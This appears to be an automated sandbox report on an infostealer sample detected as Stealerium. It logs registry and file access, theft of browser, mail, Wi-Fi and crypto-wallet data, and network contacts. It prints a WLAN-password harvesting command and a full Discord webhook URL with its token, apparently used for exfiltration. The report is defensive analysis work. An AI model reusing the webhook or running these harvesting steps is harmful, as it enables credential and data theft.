Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Users\user\Desktop\f2wWJWlU2B.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Source: f2wWJWlU2B.exe, 00000005.00000003.411345899.0000000006149000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000003.408434000.0000000006142000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000003.532397960.00000000062AE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected Stealerium

Source: Yara match	File source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Clipboard Hijacker

Source: Yara match	File source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f2wWJWlU2B.exe PID: 1876, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q5\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: f2wWJWlU2B.exe, 00000000.00000002.402320568.00000000063B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f2wWJWlU2B.exe PID: 1876, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealerium

Source: Yara match	File source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	11 Process Injection	1 Obfuscated Files or Information	1 Input Capture	144 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Software Packing	Security Account Manager	251 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	251 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
f2wWJWlU2B.exe	54%	ReversingLabs	ByteCode-MSIL.Trojan.Pwsx
f2wWJWlU2B.exe	66%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.f2wWJWlU2B.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
64.89.4.0.in-addr.arpa	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.fontbureau.comessed	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.html	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.carterandcone.como.	0%	URL Reputation	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://www.carterandcone.come	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Gras	0%	URL Reputation	safe
http://en.w	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.fontbureau.comoitu	0%	URL Reputation	safe
http://www.tiro.com(y	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/t	0%	URL Reputation	safe
http://www.fontbureau.comals	0%	URL Reputation	safe
https://apiv2.gofi	0%	Avira URL Cloud	safe
http://www.carterandcone.comTC)_	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn%	0%	URL Reputation	safe
http://www.carterandcone.comn-u	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.founder.com.cn/cnC	0%	URL Reputation	safe
http://www.fontbureau.comceo	0%	URL Reputation	safe
http://www.sajatypeworks.comK	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cnl	0%	URL Reputation	safe
http://www.fontbureau.comcom	0%	URL Reputation	safe
https://discordapp.comD8Hp	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnu	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.fontbureau.comFYI	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/MW	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cnori	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/BI	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/Lodi	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/:I	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/tI	0%	Avira URL Cloud	safe
http://www.carterandcone.como.)_	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htmsS	0%	Avira URL Cloud	safe
https://apiv2.gofile	0%	Avira URL Cloud	safe
https://user-images.githubusercontent.com/45857590/138568746-1a5578fe-f51b-4114-bcf2-e374535f8488.pn	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cng	0%	Avira URL Cloud	safe
http://www.goodfont.	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp//MS	0%	Avira URL Cloud	safe
http://icanhazip.comD8Hp	0%	Avira URL Cloud	safe
http://www.carterandcone.como.UY	0%	Avira URL Cloud	safe
https://discordapp.com4Hp	0%	Avira URL Cloud	safe
http://fontfabrik.com&K	0%	Avira URL Cloud	safe
http://www.fontbureau.comSoI	0%	Avira URL Cloud	safe
https://apiv2.gofile.io4Hp	0%	Avira URL Cloud	safe
http://www.fontbureau.comeda:I	0%	Avira URL Cloud	safe
http://www.fontbureau.comFfI	0%	Avira URL Cloud	safe
http://icanhazip.com4HpD	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gofile.io	51.38.43.18	true	false		high
ip-api.com	208.95.112.1	true	false		high
discordapp.com	162.159.130.233	true	false		high
api.mylnikov.org	104.21.44.66	true	false		high
store11.gofile.io	31.14.70.247	true	false		high
icanhazip.com	104.18.114.97	true	false		high
64.89.4.0.in-addr.arpa	unknown	unknown	false	0%, Virustotal, Browse	unknown
apiv2.gofile.io	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
https://apiv2.gofile.io/getServer	false	high
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33	false	high
https://discordapp.com/api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6?wait=true	false	high
https://discordapp.com/api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6	false	high
http://icanhazip.com/	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://gofile.io/d/Eljz06x	f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003472000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	f2wWJWlU2B.exe, 00000005.00000003.446219875.0000000004447000.00000004.00000800.00020000.00000000.sdmp, tmpC904.tmp.dat.5.dr, tmpC3EF.tmp.dat.5.dr	false		high
http://www.galapagosdesign.com/MW	f2wWJWlU2B.exe, 00000000.00000003.326950685.0000000006552000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	tmpC3EF.tmp.dat.5.dr	false		high
http://www.fontbureau.comFYI	f2wWJWlU2B.exe, 00000000.00000003.345640936.0000000006550000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343815839.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344845082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404369561.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342210123.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324371795.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343991641.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344658405.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342044723.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345395761.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341818227.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342120023.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345937384.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341882605.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345107780.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com(y	f2wWJWlU2B.exe, 00000000.00000003.316111905.000000000194C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.carterandcone.comTC)_	f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.com/designers	f2wWJWlU2B.exe, 00000000.00000003.322632101.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false		high
